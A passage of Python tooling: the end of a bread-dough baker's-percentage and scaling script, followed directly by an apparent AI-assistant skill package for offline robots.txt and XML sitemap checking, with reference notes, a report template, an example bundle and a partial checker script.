"yeast_instant_pct": round(100 * y_g * YEAST_FACTOR[y_type] / flour, 2), "whole_grain_pct": pct(whole),
"table": [{"ingredient": n, "grams": round(w, 1), "bakers_pct": pct(w)} for n, w, _ in lines],
}
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
hyd, sp, pf, yp = res["hydration_pct"], res["salt_pct"], res["prefermented_flour_pct"], res["yeast_instant_pct"]
if salt == 0 and not rec.get("salt_free"):
f("HIGH", "NO_SALT", f"no salt: add about 2% of the flour weight ({0.02 * flour:.0f} g)")
elif sp > 2.5:
f("HIGH", "SALT_HIGH", f"salt {sp}% (usual 1.8-2.2%, {0.02 * flour:.0f} g at 2%); slows yeast and tastes salty")
elif 0 < sp < 1.6:
f("MEDIUM", "SALT_LOW", f"salt {sp}% (usual 1.8-2.2%, {0.02 * flour:.0f} g at 2%); bland and slack dough")
if y_g == 0 and lev_g == 0:
f("HIGH", "NO_LEAVEN", "no yeast and no levain: the dough will not rise")
if yp > 2 or (lev_g and yp > 1):
f("MEDIUM", "YEAST_HIGH", f"instant-yeast equivalent {yp}%{' on top of a levain' if lev_g else ''}; expect a fast, yeasty rise")
if pf > 35:
f("MEDIUM", "LEVAIN_HIGH", f"prefermented flour {pf}% (usual 10-25%); faster, more sour and slacker")
elif lev_g and y_g == 0 and pf < 5:
f("LOW", "LEVAIN_LOW", f"prefermented flour {pf}%: bulk fermentation will be very long")
style = rec.get("style")
if style in STYLES:
lo, hi = STYLES[style]
if hyd < lo or hyd > hi:
gap = lo - hyd if hyd < lo else hyd - hi
sev = "HIGH" if gap > 10 else "MEDIUM"
code = "HYDRATION_FAR" if gap > 10 else ("HYDRATION_LOW" if hyd < lo else "HYDRATION_HIGH")
f(sev, code, f"hydration {hyd}% vs {lo}-{hi}% typical for {style}; target water {round(flour * (lo + hi) / 200 - (total_water - water))} g")
elif style:
f("LOW", "UNKNOWN_STYLE", f"style {style!r} not known ({', '.join(STYLES)}); no hydration check")
if res["whole_grain_pct"] >= 30 and hyd < 72:
f("LOW", "WHOLE_GRAIN_THIRSTY", f"{res['whole_grain_pct']}% whole grain at {hyd}% hydration; whole grain absorbs more, consider +5 points")
findings.sort(key=lambda x: SEV_ORDER[x["severity"]])
res["findings"] = findings
tgt = rec.get("target") or {}
pieces = pieces or tgt.get("pieces")
piece_weight = piece_weight or tgt.get("piece_weight_g")
if pieces and piece_weight:
loss = g(rec.get("loss_pct", 2), "loss_pct")
want = g(pieces, "pieces") * g(piece_weight, "piece_weight_g") * (1 + loss / 100)
k = want / dough
res["scaled"] = {"pieces": int(pieces), "piece_weight_g": float(piece_weight), "loss_pct": loss,
"factor": round(k, 3), "dough_weight_g": round(want),
"ingredients": [{"ingredient": n, "grams": round(w * k, 1) if kind in ("salt", "yeast") else round(w * k)}
for n, w, kind in lines]}
return res
def report(r):
L = [f"# {r['name']}" + (f" ({r['style']})" if r.get("style") else ""), "",
f"Total flour {r['total_flour_g']:g} g, total water {r['total_water_g']:g} g, dough {r['dough_weight_g']:g} g",
f"Hydration {r['hydration_pct']}% | salt {r['salt_pct']}% | prefermented flour {r['prefermented_flour_pct']}% | "
f"yeast (instant eq.) {r['yeast_instant_pct']}% | whole grain {r['whole_grain_pct']}%", "",
"| Ingredient | Grams | Baker's % |", "|---|---|---|"]
L += [f"| {t['ingredient']} | {t['grams']:g} | {t['bakers_pct']} |" for t in r["table"]]
if "scaled" in r:
s = r["scaled"]
L += ["", f"## Scaled to {s['pieces']} x {s['piece_weight_g']:g} g (+{s['loss_pct']:g}% loss, factor {s['factor']}): {s['dough_weight_g']} g dough",
"| Ingredient | Grams |", "|---|---|"]
L += [f"| {t['ingredient']} | {t['grams']:g} |" for t in s["ingredients"]]
L += ["", "## Findings"]
L += [f"- {x['severity']} {x['code']}: {x['message']}" for x in r["findings"]] or ["- none"]
return "\n".join(L) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
def codes(r):
return {x["code"] for x in r["findings"]}
base = {"style": "sourdough_boule", "flours": [{"grams": 1000}], "water_g": 700, "salt_g": 20,
"yeast": {"type": "instant", "grams": 5}}
r = analyze(base)
ok("hydration 70%, salt 2%", r["hydration_pct"] == 70 and r["salt_pct"] == 2)
ok("dough weight sums ingredients (1725)", r["dough_weight_g"] == 1725)
ok("clean recipe has no findings", r["findings"] == [])
lev = dict(base, flours=[{"grams": 900}], water_g=600, levain={"grams": 200, "hydration_pct": 100}, yeast=None)
r = analyze(lev)
ok("levain 100%: flour 1000, water 700", r["total_flour_g"] == 1000 and r["total_water_g"] == 700)
ok("prefermented flour 10%", r["prefermented_flour_pct"] == 10)
r = analyze(dict(lev, levain={"grams": 150, "hydration_pct": 50}))
ok("stiff levain 50%: 100 g flour + 50 g water", r["total_flour_g"] == 1000 and r["total_water_g"] == 650)
ok("yeast conversion fresh 15 g ~ 0.5% instant", analyze(dict(base, yeast={"type": "fresh", "grams": 15}))["yeast_instant_pct"] == 0.49)
ok("active dry x 0.8", analyze(dict(base, yeast={"type": "active_dry", "grams": 10}))["yeast_instant_pct"] == 0.8)
milk = analyze(dict(base, water_g=600, extras=[{"name": "milk", "grams": 100, "water_pct": 87}]))
ok("milk water counted (87 g)", milk["total_water_g"] == 687)
ok("no salt HIGH", "NO_SALT" in codes(analyze(dict(base, salt_g=0))))
ok("salt_free suppresses NO_SALT", "NO_SALT" not in codes(analyze(dict(base, salt_g=0, salt_free=True))))
ok("salt 3% HIGH", "SALT_HIGH" in codes(analyze(dict(base, salt_g=30))))
ok("salt 1.2% MEDIUM", "SALT_LOW" in codes(analyze(dict(base, salt_g=12))))
ok("no leaven HIGH", "NO_LEAVEN" in codes(analyze(dict(base, yeast=None))))
ok("yeast 2.5% MEDIUM", "YEAST_HIGH" in codes(analyze(dict(base, yeast={"type": "instant", "grams": 25}))))
ok("yeast 1.2% plus levain MEDIUM", "YEAST_HIGH" in codes(analyze(dict(lev, yeast={"type": "instant", "grams": 12}))))
ok("levain 40% flour MEDIUM", "LEVAIN_HIGH" in codes(analyze(dict(lev, flours=[{"grams": 600}], water_g=300, levain={"grams": 800, "hydration_pct": 100}))))
ok("tiny levain LOW", "LEVAIN_LOW" in codes(analyze(dict(lev, flours=[{"grams": 980}], water_g=680, levain={"grams": 40, "hydration_pct": 100}))))
ok("hydration 64% for boule MEDIUM LOW", "HYDRATION_LOW" in codes(analyze(dict(base, water_g=640))))
ok("hydration 84% for boule MEDIUM HIGH", "HYDRATION_HIGH" in codes(analyze(dict(base, water_g=840))))
ok("hydration 92% for bagel HIGH FAR", "HYDRATION_FAR" in codes(analyze(dict(base, style="bagel", water_g=920))))
ok("unknown style LOW", "UNKNOWN_STYLE" in codes(analyze(dict(base, style="pretzel"))))
wg = analyze(dict(base, flours=[{"grams": 600}, {"grams": 400, "whole_grain": True}], water_g=690))
ok("whole grain 40% at 69% flagged", wg["whole_grain_pct"] == 40 and "WHOLE_GRAIN_THIRSTY" in codes(wg))
s = analyze(base, pieces=2, piece_weight=900)["scaled"]
ok("scale 2 x 900 + 2% = 1836 g, factor 1.064", s["dough_weight_g"] == 1836 and s["factor"] == 1.064)
ok("scaled flour 1064 g, salt 21.3 g", s["ingredients"][0]["grams"] == 1064 and s["ingredients"][2]["grams"] == 21.3)
ok("target from JSON", analyze(dict(base, target={"pieces": 4, "piece_weight_g": 250}, loss_pct=0))["scaled"]["dough_weight_g"] == 1000)
for bad, label in (({"flours": []}, "no flours"), ({"flours": [{"grams": "x"}]}, "bad number"),
({"flours": [{"grams": -5}]}, "negative grams"), ({"flours": [{"grams": 0}]}, "zero flour"),
(dict(base, yeast={"type": "sourdough", "grams": 5}), "unknown yeast type"),
(dict(lev, levain={"grams": 100, "hydration_pct": 0}), "zero levain hydration")):
try:
analyze(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Baker's percentages, true hydration and scaling for bread dough.")
ap.add_argument("file", nargs="?", help="recipe JSON (see module docstring)")
ap.add_argument("--pieces", type=int, help="number of loaves or dough balls (overrides target)")
ap.add_argument("--piece-weight", type=float, help="dough weight per piece in grams (overrides target)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a recipe JSON file or --self-test")
try:
r = analyze(json.load(open(a.file, encoding="utf-8")), a.pieces, a.piece_weight)
except (OSError, ValueError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else report(r), end="\n" if a.json else "")
return 1 if any(x["severity"] == "HIGH" for x in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Checks a site's robots.txt and XML sitemap offline the way Google reads them. Picks the crawler's group, resolves longest-match Allow and Disallow with wildcards, and tests the URLs that must be crawlable or blocked. Flags whole-site blocks, sitemap URLs that robots.txt blocks, blocked CSS and JS, unsupported noindex and crawl-delay lines, off-site, duplicate or invalid sitemap entries. Includes a stdlib Python checker with --self-test.
---
name: robots-txt-and-sitemap-checker
description: Checks a site's robots.txt and XML sitemap offline the way Google reads them. Picks the crawler's group, resolves longest-match Allow and Disallow with wildcards, and tests the URLs that must be crawlable or blocked. Flags whole-site blocks, sitemap URLs that robots.txt blocks, blocked CSS and JS, unsupported noindex and crawl-delay lines, off-site, duplicate or invalid sitemap entries. Includes a stdlib Python checker with --self-test.
---
# Robots.txt and Sitemap Checker
You help site owners, SEO specialists and web developers make sure search engines can crawl the pages that matter and skip the ones that do not. From a robots.txt, an XML sitemap and a list of important URLs, you show which rule decides each URL, find contradictions between robots.txt and the sitemap, explain each problem in plain words and propose a corrected robots.txt and sitemap fixes.
## Files in this skill
- `scripts/crawl_check.py` - parses robots.txt and a sitemap, decides allowed or blocked per URL like Googlebot, and prints a URL table and findings (Python 3 standard library only, no network)
- `references/robots-txt-rules.md` - groups, longest-match and wildcard rules with examples, supported directives, common mistakes and how to test
- `references/sitemap-rules-and-fixes.md` - sitemap format and limits, what to list, lastmod, and the fix for each finding
- `templates/crawl-audit-report.md` - an audit report with a proposed robots.txt to hand to the developer
- `examples/outdoor-shop-crawl-check.json` - an outdoor gear shop after a relaunch: blog and JS blocked by mistake, a noindex line, an open admin path, and a sitemap with a blocked, an off-site, a duplicate and badly dated URLs
## Workflow
### 1. Collect the files
Ask for the live robots.txt (`https://<host>/robots.txt`), the sitemap or sitemap index, the canonical origin (scheme and host), and two short lists: URLs that must be crawlable (home, categories, top products or articles, CSS/JS bundles) and URLs that should be blocked (cart, checkout, internal search, filters, admin). Ask which crawler matters most (default Googlebot).
### 2. Run the checker
```
python3 scripts/crawl_check.py examples/outdoor-shop-crawl-check.json --today 2026-10-23
python3 scripts/crawl_check.py --robots robots.txt --sitemap sitemap.xml --site https://www.example.com --allow /product/x --block /cart/
python3 scripts/crawl_check.py --self-test
```
A bundle JSON holds the site, crawler, robots.txt and sitemap lines and the URL lists. Exit code 1 means CRITICAL or HIGH findings, 2 means bad input.
### 3. Explain and fix
Start with CRITICAL and HIGH: whole-site blocks, important pages blocked, sitemap URLs that robots.txt blocks, off-site sitemap entries. For each, name the deciding line and give the corrected rule. Explain that robots.txt does not remove pages from search or protect private pages (`references/robots-txt-rules.md`), and point to the fix table in `references/sitemap-rules-and-fixes.md`.
### 4. Deliver
Fill `templates/crawl-audit-report.md` with the URL table, findings, a full corrected robots.txt and the sitemap generator changes, then re-run the checker on the corrected files.
## Example result
For `examples/outdoor-shop-crawl-check.json` the status is HIGH: `Disallow: /blog/` (line 9) blocks /blog/trail-running-shoes-review and the listed /blog/spring-sale-recap, `Disallow: /assets/js/` blocks the app bundle, and http://trailgear.example/backpacks/ in the sitemap is off-site. The `Noindex: /search/` line is ignored by Google, so /search/ and /admin/ stay crawlable; the sitemap also has a duplicate /tents/, a lastmod in 2027 and one in `18.10.2026` format.
## Rules
- Always name the exact robots.txt line that decides a URL, and the crawler it was evaluated for.
- Never suggest robots.txt to hide private or sensitive pages; use authentication, and `noindex` for pages that must stay out of search.
- Give a complete corrected robots.txt, not only fragments, and keep rules the owner added on purpose (for example blocking AhrefsBot).
- The checker does not fetch URLs; say that status codes, redirects, canonicals and noindex tags need a crawl or Search Console.
FILE:references/robots-txt-rules.md
# robots.txt Rules (RFC 9309 and Google)
## Where and what
- Lives at the root of each host and protocol: `https://www.example.com/robots.txt` covers only that host. `example.com`, `shop.example.com` and `http://` need their own file.
- Plain text, UTF-8. Google reads the first 500 KiB. A 404 means "everything allowed"; a 5xx for a long time can make Google stop crawling the site.
- robots.txt controls **crawling**, not indexing. A blocked URL can still appear in search (without a snippet) if other pages link to it. To keep a page out of search, allow crawling and send `noindex`; to keep it private, require a login.
## Groups
```
User-agent: Googlebot
User-agent: Bingbot
Disallow: /tmp/
User-agent: *
Disallow: /cart/
```
- Consecutive `User-agent` lines share one group. Rules belong to the group above them.
- A crawler uses only **one** group: the one with the most specific matching name (`googlebot-image` over `googlebot`), otherwise `*`. Rules from `*` are not added to a named group, so a common mistake is a `Googlebot` group that forgets to repeat the `*` rules.
- Groups with the same name are merged.
## Matching
- Paths are case-sensitive and match from the start of the path (including the query string).
- `*` matches any characters; `$` anchors the end of the URL.
- The **longest** matching rule wins; on equal length `Allow` wins. No matching rule means allowed.
- `Disallow:` with an empty value allows everything.
| Rule | Blocks | Does not block |
|---|---|---|
| `Disallow: /shop` | /shop, /shop/, /shopping | /Shop |
| `Disallow: /shop/` | /shop/shoes | /shop |
| `Disallow: /*?sort=` | /tents/?sort=price | /tents/?color=red&sort=price (needs `/*sort=`) |
| `Disallow: /*.pdf$` | /docs/a.pdf | /docs/a.pdf?v=2 |
| `Disallow: /blog/` + `Allow: /blog/guides/` | /blog/news | /blog/guides/x |
## Directives
| Directive | Google | Notes |
|---|---|---|
| user-agent, allow, disallow | yes | core rules |
| sitemap | yes | absolute URL, any number, outside groups |
| crawl-delay | no | Bing and Yandex honour it; for Google, lower the crawl rate via server responses (429/503) |
| noindex, nofollow | no (dropped 2019) | use `<meta name="robots" content="noindex">` or the `X-Robots-Tag` header |
| host, clean-param | no | Yandex only |
## Common mistakes
- `Disallow: /` left over from staging after a launch (the whole site disappears from crawling).
- Blocking CSS, JS or image folders: Google renders pages and needs them; blocked assets can make pages look broken or not mobile-friendly.
- Blocking a page that carries `noindex`: the crawler never sees the noindex, so the URL can stay in the index.
- Using robots.txt to hide admin or private pages: the file is public and lists exactly where they are.
- Faceted URLs (sort, filter, session ids) left open, wasting crawl budget on endless combinations.
- Typos (`Disalow`) are silently ignored.
## Testing
- Google Search Console: robots.txt report (fetch status and parsed rules) and URL Inspection (blocked or not).
- Locally: `python3 scripts/crawl_check.py --robots robots.txt --site https://www.example.com --allow /product/x --block /cart/`.
FILE:references/sitemap-rules-and-fixes.md
# XML Sitemap Rules and Fixes
## Format
```xml
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>https://www.example.com/tents/ultralight-2p</loc>
<lastmod>2026-10-18T09:30:00+03:00</lastmod>
</url>
</urlset>
```
- At most **50,000 URLs** and **50 MB** uncompressed per file. Larger sites use a sitemap index (`<sitemapindex>` with `<sitemap><loc>` entries), up to 50,000 sitemaps.
- UTF-8, entity-escape `&`, `<`, `>`, `'`, `"` inside `<loc>`.
- `<loc>` must be absolute, on the same protocol and host as the sitemap (unless cross-submitted through Search Console for a verified host).
## What to list
- Only canonical, indexable URLs that return 200: no redirects, no 404s, no `noindex` pages, no URLs blocked by robots.txt, no parameter duplicates.
- The exact canonical form: same scheme (https), same host (www or not), same trailing-slash style as the `rel=canonical` tag.
- Each URL once.
## lastmod
- W3C datetime: `2026-10-18`, `2026-10-18T09:30+03:00` or `2026-10-18T06:30:00Z`. Formats like `18.10.2026` or `10/18/2026` are invalid.
- Set it to the last **meaningful** content change, not the build time. Google uses lastmod only when it is consistently accurate; future dates or every URL changing every day teach it to ignore the field.
- `<changefreq>` and `<priority>` are ignored by Google; they do no harm but are not worth maintaining.
## Telling crawlers about the sitemap
- `Sitemap: https://www.example.com/sitemap.xml` in robots.txt (absolute URL).
- Submit in Google Search Console and Bing Webmaster Tools, then watch the "Discovered" and "Indexed" counts and errors.
## Fixes by finding
| Finding | Fix |
|---|---|
| SITEMAP_URL_BLOCKED | Decide: if the page should rank, remove the Disallow; if not, drop it from the sitemap |
| SITEMAP_OFF_SITE | Rewrite `<loc>` to the canonical scheme and host; check the generator's base URL setting |
| SITEMAP_DUPLICATE | Deduplicate in the generator (often category + tag listings of the same page) |
| LASTMOD_INVALID / LASTMOD_FUTURE | Output ISO 8601 from the content's updated-at field; check server time zone and clock |
| SITEMAP_TOO_BIG | Split by section or date into several files under one sitemap index |
| SITEMAP_PARSE_ERROR | Escape `&` in URLs, remove a BOM or HTML error pages served instead of XML, check the namespace |
## Beyond this checker
The script works offline on the files you give it. Also check, with a crawler or Search Console: status codes of listed URLs, redirects, canonical tags, noindex tags and hreflang alternates.
FILE:templates/crawl-audit-report.md
# Crawl Audit - <site> - <date>
**Checked:** robots.txt (<fetched on / version>), <sitemap URL(s)> **Crawler:** <Googlebot> **Reviewer:** <name>
## Summary
- Status: <CRITICAL / HIGH / OK>
- robots.txt: <n> groups, <n> rules for <crawler>
- Sitemap: <n> URLs, <n> blocked, <n> off-site, <n> duplicates
## Important URLs
| URL | Should be | Result | Deciding rule | Fix |
|---|---|---|---|---|
| | crawlable | | | |
| | blocked | | | |
## Findings and fixes
| Severity | Finding | Detail | Fix | Owner |
|---|---|---|---|---|
| | | | | |
## Proposed robots.txt
```
User-agent: *
Disallow: ...
Allow: ...
Sitemap: https://...
```
## Follow-up
- Deploy the new robots.txt and sitemap on <date>; test in Search Console (robots.txt report, URL Inspection)
- Recheck coverage and crawl stats on <date>
FILE:examples/outdoor-shop-crawl-check.json
{
"site": "https://www.trailgear.example",
"user_agent": "Googlebot",
"robots_txt": [
"# robots.txt for www.trailgear.example (after the October relaunch)",
"User-agent: *",
"Disallow: /cart/",
"Disallow: /checkout/",
"Disallow: /account/",
"Disallow: /*?sort=",
"Disallow: /*?sessionid=",
"Disallow: /assets/js/",
"Disallow: /blog/",
"Allow: /blog/guides/",
"Crawl-delay: 10",
"Noindex: /search/",
"",
"User-agent: AhrefsBot",
"Disallow: /",
"",
"Sitemap: https://www.trailgear.example/sitemap.xml"
],
"sitemap_xml": [
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>",
"<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">",
" <url><loc>https://www.trailgear.example/</loc><lastmod>2026-10-20</lastmod></url>",
" <url><loc>https://www.trailgear.example/tents/</loc><lastmod>2026-10-18</lastmod></url>",
" <url><loc>https://www.trailgear.example/tents/ultralight-2p</loc><lastmod>2026-10-18T09:30:00+03:00</lastmod></url>",
" <url><loc>https://www.trailgear.example/tents/</loc><lastmod>2026-10-18</lastmod></url>",
" <url><loc>https://www.trailgear.example/blog/spring-sale-recap</loc><lastmod>2026-04-02</lastmod></url>",
" <url><loc>https://www.trailgear.example/blog/guides/layering-for-hiking</loc><lastmod>2026-09-12</lastmod></url>",
" <url><loc>http://trailgear.example/backpacks/</loc><lastmod>2026-10-01</lastmod></url>",
" <url><loc>https://www.trailgear.example/sleeping-bags/</loc><lastmod>18.10.2026</lastmod></url>",
" <url><loc>https://www.trailgear.example/stoves/</loc><lastmod>2027-03-01</lastmod></url>",
"</urlset>"
],
"must_crawl": [
"/tents/ultralight-2p",
"/blog/trail-running-shoes-review",
"/blog/guides/layering-for-hiking",
"/assets/js/app.js",
"/tents/?color=green"
],
"must_block": [
"/checkout/payment",
"/tents/?sort=price",
"/search/?q=stove",
"/admin/"
]
}
FILE:scripts/crawl_check.py
#!/usr/bin/env python3
"""robots.txt and XML sitemap checker (Python 3 standard library only, works offline).
Input, either:
a JSON bundle {"site": "https://www.example.com", "user_agent": "Googlebot",
"robots_txt": [lines] or "text", "sitemap_xml": [lines] or "text",
"must_crawl": [urls or paths], "must_block": [urls or paths]}
or files --robots robots.txt [--sitemap sitemap.xml] --site https://... [--allow URL] [--block URL]
Matching follows RFC 9309 / Google: the group whose user-agent token matches the crawler name
(case-insensitive, most specific wins, else "*"), then the longest matching Allow/Disallow path
(* = any characters, $ = end of URL); on a tie Allow wins; no match = allowed.
Findings (severity):
CRITICAL BLOCK_ALL "Disallow: /" applies to the crawler with no Allow rules
HIGH MUST_CRAWL_BLOCKED a URL that must be crawlable is disallowed
HIGH SITEMAP_URL_BLOCKED a URL listed in the sitemap is disallowed
HIGH SITEMAP_PARSE_ERROR sitemap is not well-formed XML or not urlset/sitemapindex
HIGH SITEMAP_TOO_BIG more than 50,000 URLs in one sitemap
HIGH SITEMAP_OFF_SITE a sitemap URL is on another host or scheme than the site
MEDIUM MUST_BLOCK_CRAWLABLE a URL that should be blocked is crawlable (robots.txt is not access control)
MEDIUM ASSETS_BLOCKED CSS, JS or image paths disallowed (pages cannot render for the crawler)
MEDIUM UNSUPPORTED_RULE noindex / nofollow / host lines (ignored by Google)
MEDIUM SITEMAP_DUPLICATE the same <loc> appears more than once
MEDIUM LASTMOD_FUTURE <lastmod> after --today
LOW CRAWL_DELAY_IGNORED crawl-delay (Googlebot ignores it; Bing and Yandex honour it)
LOW RULE_OUTSIDE_GROUP allow/disallow before any user-agent line
LOW UNKNOWN_DIRECTIVE unknown line or missing colon
LOW SITEMAP_RELATIVE Sitemap: line is not an absolute URL
LOW NO_SITEMAP_LINE robots.txt has no Sitemap: line
LOW LASTMOD_INVALID <lastmod> is not W3C datetime (YYYY-MM-DD[Thh:mm[:ss]TZD])
Usage:
python3 crawl_check.py bundle.json [--today 2026-10-23] [--json]
python3 crawl_check.py --robots robots.txt --sitemap sitemap.xml --site https://www.example.com --allow /shop/
python3 crawl_check.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import datetime as dt
import json
import re
import sys
import urllib.parse
import xml.etree.ElementTree as ET
SEV_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
KNOWN = {"user-agent", "allow", "disallow", "sitemap", "crawl-delay", "noindex", "nofollow", "host", "clean-param"}
ASSET_RE = re.compile(r"(\.css|\.js|\.png|\.jpe?g|\.webp|\.svg|\.gif|/static/|/assets/|/_next/|/wp-includes/|/css/|/js/)", re.I)
LASTMOD_RE = re.compile(r"^\d{4}(-\d{2}(-\d{2}(T\d{2}:\d{2}(:\d{2}(\.\d+)?)?(Z|[+-]\d{2}:\d{2}))?)?)?$")
NS = "{http://www.sitemaps.org/schemas/sitemap/0.9}"
class DataError(ValueError):
pass
def text_of(v):
if v is None:
return None
return "\n".join(v) if isinstance(v, list) else str(v)
def parse_robots(text):
"""-> (groups [{agents, rules[(kind, path, line)]}], sitemaps [(url, line)], issues [(sev, code, msg)])"""
groups, sitemaps, issues = [], [], []
cur, last_was_agent = None, False
for n, raw in enumerate(text.splitlines(), start=1):
line = raw.split("#", 1)[0].strip()
if not line:
continue
if ":" not in line:
issues.append(("LOW", "UNKNOWN_DIRECTIVE", f"line {n}: no colon in {line!r}"))
continue
key, val = (x.strip() for x in line.split(":", 1))
key = key.lower()
if key == "user-agent":
if not last_was_agent or cur is None:
cur = {"agents": [], "rules": []}
groups.append(cur)
cur["agents"].append(val.lower())
last_was_agent = True
continue
last_was_agent = False
if key in ("allow", "disallow"):
if cur is None:
issues.append(("LOW", "RULE_OUTSIDE_GROUP", f"line {n}: {key} before any user-agent line is ignored"))
elif val:
cur["rules"].append((key, val, n))
elif key == "sitemap":
sitemaps.append((val, n))
if not re.match(r"^https?://", val, re.I):
issues.append(("LOW", "SITEMAP_RELATIVE", f"line {n}: Sitemap must be an absolute URL, got {val!r}"))
elif key == "crawl-delay":
issues.append(("LOW", "CRAWL_DELAY_IGNORED", f"line {n}: crawl-delay {val} is ignored by Googlebot"))
elif key in ("noindex", "nofollow", "host", "clean-param"):
issues.append(("MEDIUM", "UNSUPPORTED_RULE", f"line {n}: '{key}' in robots.txt is not supported by Google; use meta robots / X-Robots-Tag or redirects"))
else:
issues.append(("LOW", "UNKNOWN_DIRECTIVE", f"line {n}: unknown directive {key!r}"))
return groups, sitemaps, issues
def pick_group(groups, agent):
"""Rules for the crawler: merge all groups with the longest matching agent token, else '*'."""
a = agent.lower()
best, rules = -1, []
for g in groups:
for tok in g["agents"]:
if tok != "*" and tok and a.startswith(tok) and len(tok) > best:
best, rules = len(tok), list(g["rules"])
elif tok != "*" and tok and a.startswith(tok) and len(tok) == best:
rules += g["rules"]
if best >= 0:
return rules
return [r for g in groups if "*" in g["agents"] for r in g["rules"]]
def pattern_to_re(path):
end = path.endswith("$")
body = path[:-1] if end else path
return re.compile("^" + ".*".join(re.escape(p) for p in body.split("*")) + ("$" if end else ""))
def path_of(url, site):
u = urllib.parse.urlsplit(urllib.parse.urljoin(site + "/", url))
return (u.path or "/") + (("?" + u.query) if u.query else "")
def decide(rules, path):
"""-> (allowed, matching rule or None)"""
best = None
for kind, pat, n in rules:
if pattern_to_re(pat).match(path):
key = (len(pat), kind == "allow")
if best is None or key > best[0]:
best = (key, (kind, pat, n))
if best is None:
return True, None
return best[1][0] == "allow", best[1]
def parse_sitemap(text):
try:
root = ET.fromstring(text.strip())
except ET.ParseError as e:
raise DataError(f"sitemap XML error: {e}")
tag = root.tag.replace(NS, "")
if tag not in ("urlset", "sitemapindex"):
raise DataError(f"sitemap root must be urlset or sitemapindex, got {tag!r}")
child = "url" if tag == "urlset" else "sitemap"
items = []
for el in root.findall(NS + child) or root.findall(child):
loc = el.findtext(NS + "loc") or el.findtext("loc") or ""
lm = el.findtext(NS + "lastmod") or el.findtext("lastmod")
items.append((loc.strip(), lm.strip() if lm else None))
return tag, items
def check(bundle, today=None):
site = (bundle.get("site") or "").rstrip("/")
if not re.match(r"^https?://[^/]+$", site):
raise DataError("site must be an origin like https://www.example.com")
robots = text_of(bundle.get("robots_txt"))
if robots is None:
raise DataError("robots_txt is required")
agent = bundle.get("user_agent") or "Googlebot"
today = today or dt.date.today()
groups, sitemaps, issues = parse_robots(robots)
rules = pick_group(groups, agent)
findings = [{"severity": s, "code": c, "message": m} for s, c, m in issues]
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
if any(k == "disallow" and p == "/" for k, p, _ in rules) and not any(k == "allow" for k, _, _ in rules):
f("CRITICAL", "BLOCK_ALL", f"'Disallow: /' blocks the whole site for {agent}")
for k, p, n in rules:
if k == "disallow" and ASSET_RE.search(p):
f("MEDIUM", "ASSETS_BLOCKED", f"line {n}: Disallow {p} blocks CSS/JS/images needed to render pages")
if not sitemaps:
f("LOW", "NO_SITEMAP_LINE", "robots.txt has no Sitemap: line")
url_checks = []
for kind, key in (("crawl", "must_crawl"), ("block", "must_block")):
for u in bundle.get(key) or []:
p = path_of(u, site)
allowed, rule = decide(rules, p)
url_checks.append({"url": u, "path": p, "expect": kind, "allowed": allowed,
"rule": f"line {rule[2]}: {rule[0].title()}: {rule[1]}" if rule else "no rule"})
if kind == "crawl" and not allowed:
f("HIGH", "MUST_CRAWL_BLOCKED", f"{p} is blocked by line {rule[2]} ({rule[0].title()}: {rule[1]})")
if kind == "block" and allowed:
f("MEDIUM", "MUST_BLOCK_CRAWLABLE", f"{p} is crawlable ({'no rule' if not rule else 'line %d Allow: %s' % (rule[2], rule[1])}); protect private pages with auth or noindex, not robots.txt")
sm_info = None
sm_text = text_of(bundle.get("sitemap_xml"))
if sm_text is not None:
try:
kind, items = parse_sitemap(sm_text)
except DataError as e:
f("HIGH", "SITEMAP_PARSE_ERROR", str(e))
kind, items = None, []
host = urllib.parse.urlsplit(site)
seen, blocked, off = set(), 0, 0
for loc, lm in items:
u = urllib.parse.urlsplit(loc)
if (u.scheme, u.netloc) != (host.scheme, host.netloc):
off += 1
f("HIGH", "SITEMAP_OFF_SITE", f"{loc} is not on {site}")
if loc in seen:
f("MEDIUM", "SITEMAP_DUPLICATE", f"{loc} listed more than once")
seen.add(loc)
if kind == "urlset":
allowed, rule = decide(rules, path_of(loc, site))
if not allowed:
blocked += 1
f("HIGH", "SITEMAP_URL_BLOCKED", f"{loc} is in the sitemap but blocked by line {rule[2]} ({rule[0].title()}: {rule[1]})")
if lm is not None:
if not LASTMOD_RE.match(lm):
f("LOW", "LASTMOD_INVALID", f"{loc}: lastmod {lm!r} is not W3C datetime")
elif dt.date.fromisoformat(lm[:10] if len(lm) >= 10 else lm[:4] + "-01-01") > today:
f("MEDIUM", "LASTMOD_FUTURE", f"{loc}: lastmod {lm} is after {today}")
if len(items) > 50000:
f("HIGH", "SITEMAP_TOO_BIG", f"{len(items)} URLs; split into files of at most 50,000 URLs and use a sitemap index")
sm_info = {"type": kind, "urls": len(items), "blocked": blocked, "off_site": off}
findings.sort(key=lambda x: SEV_ORDER[x["severity"]])
status = findings[0]["severity"] if findings and findings[0]["severity"] in ("CRITICAL", "HIGH") else "OK"
return {"site": site, "user_agent": agent, "groups": len(groups), "rules_for_agent": len(rules),
"sitemaps_declared": [s for s, _ in sitemaps], "sitemap": sm_info, "url_checks": url_checks,
"findings": findings, "status": status}
def report(r):
L = [f"# Crawl check for {r['site']} as {r['user_agent']}", "",
f"robots.txt: {r['groups']} groups, {r['rules_for_agent']} rules apply to {r['user_agent']}; "
f"Sitemap lines: {', '.join(r['sitemaps_declared']) or 'none'}"]
if r["sitemap"]:
s = r["sitemap"]
